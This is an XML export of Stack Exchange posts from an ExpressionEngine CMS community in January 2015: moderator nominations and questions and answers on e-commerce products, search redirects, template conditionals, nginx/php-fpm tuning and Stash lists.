  <row Id="28704" PostTypeId="6" CreationDate="2015-01-28T20:28:35.660" Score="0" Body="&lt;p&gt;I've been building sites with EE since 2008 and have a great respect and admiration for the EE community. Should additional moderators be needed, I'd be proud to help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enjoy keeping up with the Stack Exchange site and have been an active member since beta answering questions, participating in meta, and reviewing/flagging posts. I'm a big fan of the Stack Exchange format.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-01-28T20:28:35.660" LastActivityDate="2015-01-28T20:28:35.660" CommentCount="0" CommunityOwnedDate="2015-01-28T20:28:35.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="28705" PostTypeId="1" CreationDate="2015-01-28T20:56:55.637" Score="1" ViewCount="83" Body="&lt;p&gt;We are doing a web app using ExpressionEngine where users create events (on the front end). Participants can register as an individual participant and participants can also register in groups of 2-5, either paying for themselves or for the group. Participants can add extras to their registration before checkout; these add-ons are determined by the original user who created the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Expresso Store, we'd like to ensure users can indeed create products (their registrations) from the front end, making them configurable by the participants before adding to the cart using options under Product Modifiers (eg. purchase lunch, or an event tshirt). Then have the participants add the group's registration or just some of the participants' registrations (including add ons) to the cart and check out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will also need a way for the participants to get notified when they've been added to a group, but have yet for their registration to be paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that all do-able using front end exp:channel:form tags? Any pointers, tips or show stoppers in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. If we should have gone with Cartthrob, let me know too! Not too late to switch.&lt;/p&gt;&#xA;" OwnerUserId="3903" LastActivityDate="2015-11-27T11:26:25.743" Title="How to achieve dynamic products using front-end form" Tags="|expresso-store|safecracker|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28706" PostTypeId="2" ParentId="28700" CreationDate="2015-01-28T21:44:48.673" Score="0" Body="&lt;p&gt;In a word: no, nothing easy about this. All the data is stored in the same database tables using database-specific channels IDs, field IDs, entry IDs, etc, etc - which will almost for sure conflict with existing channels, fields, and entries in your destination database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's doable, but it's part-manual, part-automated, and requires a huge amount of analysis of both databases in order to figure out how you need to alter existing records so they don't conflict.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-28T21:44:48.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28707" PostTypeId="1" CreationDate="2015-01-28T22:37:09.250" Score="0" ViewCount="163" Body="&lt;p&gt;I have a search form that searches based on keywords (which are essentially series of serial numbers for a product) in a channel field. I would like search to go directly to entry if a valid keyword is entered in search. User would only be taken to &lt;code&gt;search_results_serial&lt;/code&gt; template if an invalid keyword is entered that isn't found in the keywords on channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the search code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;pages&quot; category=&quot;1&quot; no_result_page=&quot;site/search_no_results&quot; result_page=&quot;site/search_results_serial&quot; search_in=&quot;entries&quot;}&#xA;    &amp;lt;form action=&quot;#&quot; method=&quot;get&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;serial&quot;&amp;gt;SERIAL NUMBER&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;form-search&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot; class=&quot;input-text&quot;&amp;gt;&#xA;            &amp;lt;button class=&quot;button&quot; title=&quot;Search&quot; type=&quot;submit&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;Search&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated. Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Added custom plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class search_redirect {&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        $search_id = substr(ee()-&amp;gt;uri-&amp;gt;query_string, 0, 32);&#xA;        $query = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;            SELECT keywords &#xA;            FROM exp_search &#xA;            WHERE search_id = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($search_id).&quot;'&quot;);&#xA;        if($query-&amp;gt;num_rows() == 1)&#xA;        {&#xA;            $keywords = $query-&amp;gt;row('keywords');&#xA;&#xA;            // Say your custom field which contains your serial number is field_id_10 (look in exp_channel_fields)&#xA;            $entry = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;                SELECT t.entry_id, t.url_title &#xA;                FROM exp_channel_titles t &#xA;                LEFT JOIN exp_channel_data d &#xA;                ON t.entry_id = d.entry_id &#xA;                WHERE d.field_id_27 = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($keywords).&quot;' &#xA;                LIMIT 1&quot;);&#xA;            if($entry-&amp;gt;num_rows() == 1)&#xA;            {&#xA;                // Assuming you display your product at product/index&#xA;                ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;                    ee()-&amp;gt;functions-&amp;gt;create_url('/product/'.$entry-&amp;gt;row('url_title'))&#xA;                );&#xA;                exit();&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;/* End of file pi.plugin_name.php */&#xA;/* Location: ./system/expressionengine/third_party/plugin_name/pi.search_redirect.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And added to search results template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/head&quot;}&#xA;{embed=&quot;embeds/header&quot;}&#xA;&#xA;        &amp;lt;!-- START Main Content --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;main-container col2-left-layout&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;main&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-main&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;breadcrumbs&quot;&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                            &amp;lt;li class=&quot;home&quot;&amp;gt;&amp;lt;strong&amp;gt;Search Results &amp;gt;&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;article id=&quot;content&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;parts_table&quot;&amp;gt;&#xA;                          &amp;lt;table&amp;gt;&#xA;                              &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Support Documentation&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Support Page Link&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Serial Number Searched&amp;lt;/th&amp;gt;&#xA;                              &amp;lt;/tr&amp;gt;&#xA;                          {exp:search_redirect}&#xA;                          {exp:search:search_results}&#xA;                              {if count == 1}&#xA;                                &amp;lt;p&amp;gt;You searched for serial number '&amp;lt;strong&amp;gt;{exp:search:keywords}&amp;lt;/strong&amp;gt;' and got {exp:search:total_results}{total_results}{/exp:search:total_results} result{if &quot;{exp:search:total_results}&quot; != 1}s{/if}. {if {total_results} == 1}You got an exact match!&amp;lt;/p&amp;gt;{if:else}&amp;lt;p&amp;gt;Too many results? &amp;lt;a style=&quot;text-decoration:underline;&quot; href=&quot;{site_url}machine-support&quot;&amp;gt;Try searching again with a valid serial number&amp;lt;/a&amp;gt; &amp;lt;strong&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/p&amp;gt;{/if} &#xA;                              {/if} &#xA;                              &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;View Support Page&amp;lt;/a&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;td&amp;gt;{exp:search:keywords}&amp;lt;/td&amp;gt;&#xA;                              &amp;lt;/tr&amp;gt;&#xA;&#xA;                              {if count == total_results}&#xA;                                  &amp;lt;/table&amp;gt;&#xA;                              {/if}&#xA;&#xA;                              {paginate}&#xA;                                  &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                              {/paginate}&#xA;&#xA;                          {/exp:search:search_results}&#xA;                          &amp;lt;/table&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;{embed=&quot;embeds/sidebar_nav_left&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- END Main Content --&amp;gt;&#xA;&#xA;&#xA;{embed=&quot;embeds/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2015-01-29T14:43:49.720" LastActivityDate="2015-03-30T15:14:23.753" Title="Search form to go directly to entry if exact keyword entered" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28710" PostTypeId="1" AcceptedAnswerId="28719" CreationDate="2015-01-28T23:50:54.653" Score="1" ViewCount="551" Body="&lt;p&gt;I'm getting an error if my relationship field does not have any related entries selected:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an invalid conditional in your template. Please review your&#xA;  conditionals for an unclosed string, invalid operators, a missing },&#xA;  or a missing {/if}.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parser State: Invalid Condition: Not enough operands for operator ” &gt;&#xA;  “.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code throwing the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {select_testimonials:count} &amp;gt; 0} &amp;lt;--conditional open&#xA;&#xA;      {select_testimonials} &amp;lt;--relationship field open&#xA;&#xA;        {select_testimonials:testimonial} &amp;lt;--relationship:matrix field open&#xA;&#xA;            &amp;lt;div class=&quot;testimonial&quot;&amp;gt;...stuff...&amp;lt;/div&amp;gt;&#xA;&#xA;        {/select_testimonials:testimonial} &amp;lt;--relationship:matrix field close&#xA;&#xA;      {/select_testimonials} &amp;lt;--relationship field close&#xA;&#xA;{/if} &amp;lt;--conditional close&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do here is only show this if there are related entries selected (I don't want an empty div if not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the relationship filed does have entries selected, everything works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be causing this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried removing everything but the conditional, and I still get the error, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {select_testimonials:count} &amp;gt; 0} &amp;lt;--conditional open&#xA;&#xA;{/if} &amp;lt;--conditional close&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="276" LastActivityDate="2015-01-29T12:01:23.597" Title="&quot;Invalid Conditional&quot; error if relationship :count is 0 in conditional?" Tags="|matrix|relationships|conditionals|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28711" PostTypeId="2" ParentId="28705" CreationDate="2015-01-29T00:13:46.797" Score="1" Body="&lt;p&gt;Yes, this is completely doable with Store and I have done it myself in the past. The big issue with the modifiers is if you want to customize the look and feel of the fieldtype. If you want to do that, you will have to match the submission structure of data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Store fieldtype is setup to make it very easy to enter product details, but if you want to customize this in Channel Form, that is where you would need to do some custom tweaking. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-01-29T00:13:46.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28712" PostTypeId="6" CreationDate="2015-01-29T00:25:41.237" Score="0" Body="&lt;p&gt;Hi!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it was 2009, 2010 when I started to study the ExpressionEngine. Since then, I've learned a lot and, most of the times, it was thanks to the community. So I've been answering questions here as a way to give back to this wonderful community and also to help in making better sites. Being one of the moderators is an opportunity to do even more on this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be glad to be one of the moderators, if you, EECMS developers, want me to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the opportunity.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-01-29T00:25:41.237" LastActivityDate="2015-01-29T00:25:41.237" CommentCount="0" CommunityOwnedDate="2015-01-29T00:25:41.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="28713" PostTypeId="1" CreationDate="2015-01-29T00:35:08.793" Score="2" ViewCount="1510" Body="&lt;p&gt;Im having some server issues with large uploads on channel images.  I have some users who have as many as 150 images and when they try and edit their profile they are getting 502 errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;looking at the logs Im getting this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015/01/28 19:26:52 [error] 2880#0: *14 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 69.203.104.186, server: www.visualaids.org, request: &quot;POST /liza/index.php?/cp/content_publish/entry_form&amp;amp;channel_id=9&amp;amp;entry_id=6475&amp;amp;filter=YTozOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjkiO3M6ODoia2V5d29yZHMiO3M6MTY6Ikpvc2UgTHVpcyBDb3J0ZXMiO3M6OToic2VhcmNoX2luIjtzOjU6InRpdGxlIjt9 HTTP/1.1&quot;, upstream: &quot;fastcgi://unix:/var/run/php5-fpm.sock:&quot;, host: &quot;www.visualaids.org&quot;, referrer: &quot;https://www.visualaids.org/liza/index.php?S=0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=9&amp;amp;entry_id=6475&amp;amp;&amp;amp;filter=YTozOntzOjEwOiJjaGFubmVsX2lkIjtzOjE6IjkiO3M6ODoia2V5d29yZHMiO3M6MTY6Ikpvc2UgTHVpcyBDb3J0ZXMiO3M6OToic2VhcmNoX2luIjtzOjU6InRpdGxlIjt9&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There was more specific errors about exceeding max_input_vars and i raised that in the php.ini but still no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also adjusted nginx settings for &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fastcgi_read_timeout 300; &#xA;       fastcgi_buffer_size 1024k;&#xA;        fastcgi_buffers 4 1024k;&#xA;        fastcgi_busy_buffers_size 1024k;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and still no luck?  anything else I should try?&lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="1134" LastEditDate="2015-02-14T01:48:43.930" LastActivityDate="2018-08-22T12:01:57.593" Title="502 bad gateway with large amount of channel images images" Tags="|channel-images|error-502|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28714" PostTypeId="1" AcceptedAnswerId="28733" CreationDate="2015-01-29T00:39:23.917" Score="0" ViewCount="44" Body="&lt;p&gt;I would like to exclude multiple folders from the Asset list to minimize the amount of folders to be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get this config working. and there's not enough info available on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4997" LastActivityDate="2015-01-29T21:37:03.010" Title="How to Use assets_ignore_folder_patterns on the config" Tags="|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28715" PostTypeId="2" ParentId="28696" CreationDate="2015-01-29T01:58:04.147" Score="1" Body="&lt;p&gt;Since Super Search uses the same Library as the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, they share similar variable names. The outer &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair would parse first, followed by the inner &lt;code&gt;{exp:super_search:results}&lt;/code&gt; tag. This would be why &lt;code&gt;{title}&lt;/code&gt;, for example, parses to the outer &lt;code&gt;{exp:channel:entries}&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the issue is similar to nesting two &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pairs inside each other: you can't do that, or at least EE won't parse correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way around this is to place the &lt;code&gt;{exp:super_search:results}&lt;/code&gt; code in an embed tag (and pass your &lt;code&gt;{channel-1-custom-field}&lt;/code&gt; variable in the embed). This avoids parsing order issues and variable clashes.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-29T01:58:04.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28716" PostTypeId="2" ParentId="28713" CreationDate="2015-01-29T02:24:49.580" Score="1" Body="&lt;p&gt;Try next settings for nginx: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client_max_body_size 10m;&#xA;client_body_buffer_size 128k;&#xA;fastcgi_connect_timeout 90;&#xA;fastcgi_send_timeout 180;&#xA;fastcgi_read_timeout 180;&#xA;fastcgi_buffer_size 1024K;&#xA;fastcgi_buffers 8 512k;&#xA;fastcgi_busy_buffers_size 1024k;&#xA;fastcgi_temp_file_write_size 1024k;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can be also error with php - not enough child processes. Check logs and try to increase it in php-fpm settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pm = static&#xA;pm.max_children = 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if it's helps - you need to play with pm.max_children \ pm.max_spare_servers to make it work for pm = dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. and (just for sure) don't forget to restart nginx/php-fpm after changes &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-29T02:24:49.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28717" PostTypeId="1" CreationDate="2015-01-29T04:50:21.177" Score="0" ViewCount="53" Body="&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;related_skus&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:tag:related_entries channel=&quot;men_clothing&quot; tag=&quot;t shirt&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;6&quot; paginate=&quot;bottom&quot;}&#xA;            {exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;men_clothing&quot;}&#xA;                    {stash:related}&#xA;                    &amp;lt;div class=&quot;each_ritems&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;ritems_img&quot;&amp;gt;&#xA;                          {men_clothing_image limit=&quot;1&quot;}&amp;lt;a class=&quot;image&quot; href=&quot;{path='shop/product/{channel_short_name}/{url_title}}&quot; title=&quot;View more&quot;&amp;gt; &amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;{/men_clothing_image}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;each_rwrapper&quot;&amp;gt;&#xA;                          &amp;lt;div class=&quot;ritems_title&quot;&amp;gt;{exp:stash:get name=&quot;small_title&quot;}&amp;lt;/div&amp;gt;&#xA;                          &amp;lt;div class=&quot;ritems_price&quot;&amp;gt; From: &amp;lt;div class=&quot;sus-rupee&quot;&amp;gt;{men_clothing_vendor:lowest column=&quot;mc_sales_price&quot;}&amp;lt;/div&amp;gt; To &amp;lt;div class=&quot;sus-rupee&quot;&amp;gt;{men_clothing_vendor:highest column=&quot;mc_sales_price&quot;}&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                          &amp;lt;div class=&quot;ritems_details&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/stash:related}&#xA;                {/case}&#xA;            {/exp:switchee} &#xA;    {/exp:tag:related_entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;related_skus&quot;}&#xA;      {related}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i have tried this without Stash and passing channel name and nothing is working. need your expert advice&lt;/p&gt;&#xA;" OwnerUserId="2946" LastActivityDate="2015-01-29T12:38:04.853" Title="related tag entries not working" Tags="|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28718" PostTypeId="1" CreationDate="2015-01-29T05:45:11.960" Score="-1" ViewCount="57" Body="&lt;p&gt;I'm new to the EE using stash i'm getting the output for other fields only image is not displaying. I'm using the stash version 2.6.1. If any one help me to solve the issue it would be grateful!!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;product-list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;gshopper_Dresses&quot; limit=&quot;5&quot; orderby=&quot;date&quot; disable=&quot;member_data[pagination|categories&quot; dynamic=&quot;no&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:p_name}{product_name}{/stash:p_name}&#xA;        {stash:description}{product_description}{/stash:description}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;prod_image&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {photos}&#xA;               {stash:p_images}{product_images}{/stash:p_images}&#xA;            {photos}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:stash:get_list name=&quot;product-list&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;5&quot;}&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{entry_id}:{p_name}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            {exp:stash:get_list:nested name=&quot;prod_image&quot; unique=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;                &amp;lt;img src=&quot;{site_url}themes\default_site\image\{product_images}&quot;&amp;gt;&#xA;            {/exp:stash:get_list:nested}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            {description}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4995" LastEditorUserId="932" LastEditDate="2015-01-29T15:02:54.207" LastActivityDate="2015-01-29T15:02:54.207" Title="Using Stash image alone not displaying" Tags="|stash|image-path|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28719" PostTypeId="2" ParentId="28710" CreationDate="2015-01-29T12:01:23.597" Score="1" Body="&lt;p&gt;Since the version 2.9 of eecms, the expected format for conditionals is &lt;code&gt;{if var:count &amp;gt; 0}&lt;/code&gt;. Some addons make necessary to use &lt;code&gt;{if &quot;{var:count}&quot; &amp;gt; 0}&lt;/code&gt;, but just because of the way the developer coded the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the conditional is related to a 1st party module, probably the first option will work fine. Please, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if select_testimonials:count &amp;gt; 0}&#xA;    [...]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-01-29T12:01:23.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28720" PostTypeId="2" ParentId="28717" CreationDate="2015-01-29T12:38:04.853" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/tag/related_entries/&quot; rel=&quot;nofollow&quot;&gt;tag:related_entries&lt;/a&gt; accepts an &lt;code&gt;entry_id&lt;/code&gt; parameter, not a &lt;code&gt;tag&lt;/code&gt; parameter. This is because it looks for entries which have many shared tags in common to the entry you pass to it. (Hence, entries which are &quot;related.&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply want to display a list of entries which belong to a specific tag, use &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/&quot; rel=&quot;nofollow&quot;&gt;tag:entries&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-29T12:38:04.853" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28721" PostTypeId="2" ParentId="28707" CreationDate="2015-01-29T13:03:56.033" Score="1" Body="&lt;p&gt;One note first: you don't need to add a manual &lt;code&gt;form&lt;/code&gt; tag inside of the &lt;code&gt;search:simple_form&lt;/code&gt; tag - it generates its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do this (since the Search module doesn't have great extension hooks) is to add some custom code on the search result page. This would be best done in a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;custom plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd grab the keywords based on the search query in the URL, then use that to perform  query for a matching serial number, and if found, do a redirect to that entry's URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some quick, untested code for inside your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search_id = substr(ee()-&amp;gt;uri-&amp;gt;query_string, 0, 32);&#xA;$query = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT keywords &#xA;    FROM exp_search &#xA;    WHERE search_id = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($search_id).&quot;'&quot;);&#xA;if($query-&amp;gt;num_rows() == 1)&#xA;{&#xA;    $keywords = $query-&amp;gt;row('keywords');&#xA;&#xA;    // Say your custom field which contains your serial number is field_id_10 (look in exp_channel_fields)&#xA;    $entry = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;        SELECT t.entry_id, t.url_title &#xA;        FROM exp_channel_titles t &#xA;        LEFT JOIN exp_channel_data d &#xA;        ON t.entry_id = d.entry_id &#xA;        WHERE d.field_id_10 = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($keywords).&quot;' &#xA;        LIMIT 1&quot;);&#xA;    if($entry-&amp;gt;num_rows() == 1)&#xA;    {&#xA;        // Assuming you display your product at product/index&#xA;        ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;            ee()-&amp;gt;functions-&amp;gt;create_url('/product/'.$entry-&amp;gt;row('url_title'))&#xA;        );&#xA;        exit();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So then you'd just put this in your search results template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_custom_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-29T13:03:56.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28722" PostTypeId="1" CreationDate="2015-01-29T13:21:41.060" Score="0" ViewCount="35" Body="&lt;p&gt;When I import a json file the Status is neglected. All imported items have the status &quot;Closed&quot; after an import when the value of the imported status field is set to &quot;Open&quot; and I have tried &quot;open&quot; just like in the docs.&#xA;The import is completing successfully but the status setting is not being honoured.&#xA;The status field is being recognised in the import profile settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(EE2.9.2 / importer 2.2.5)&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-01-31T20:04:15.047" Title="entry &quot;status&quot; not honoured on import [json / solspace importer]" Tags="|solspace-importer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28724" PostTypeId="2" ParentId="28718" CreationDate="2015-01-29T13:41:44.350" Score="0" Body="&lt;p&gt;It looks like you might have a misnamed stash variable. When getting the list &quot;prod_image&quot; you have a variable called {product_images} when it should be {p_images}.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-01-29T13:41:44.350" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
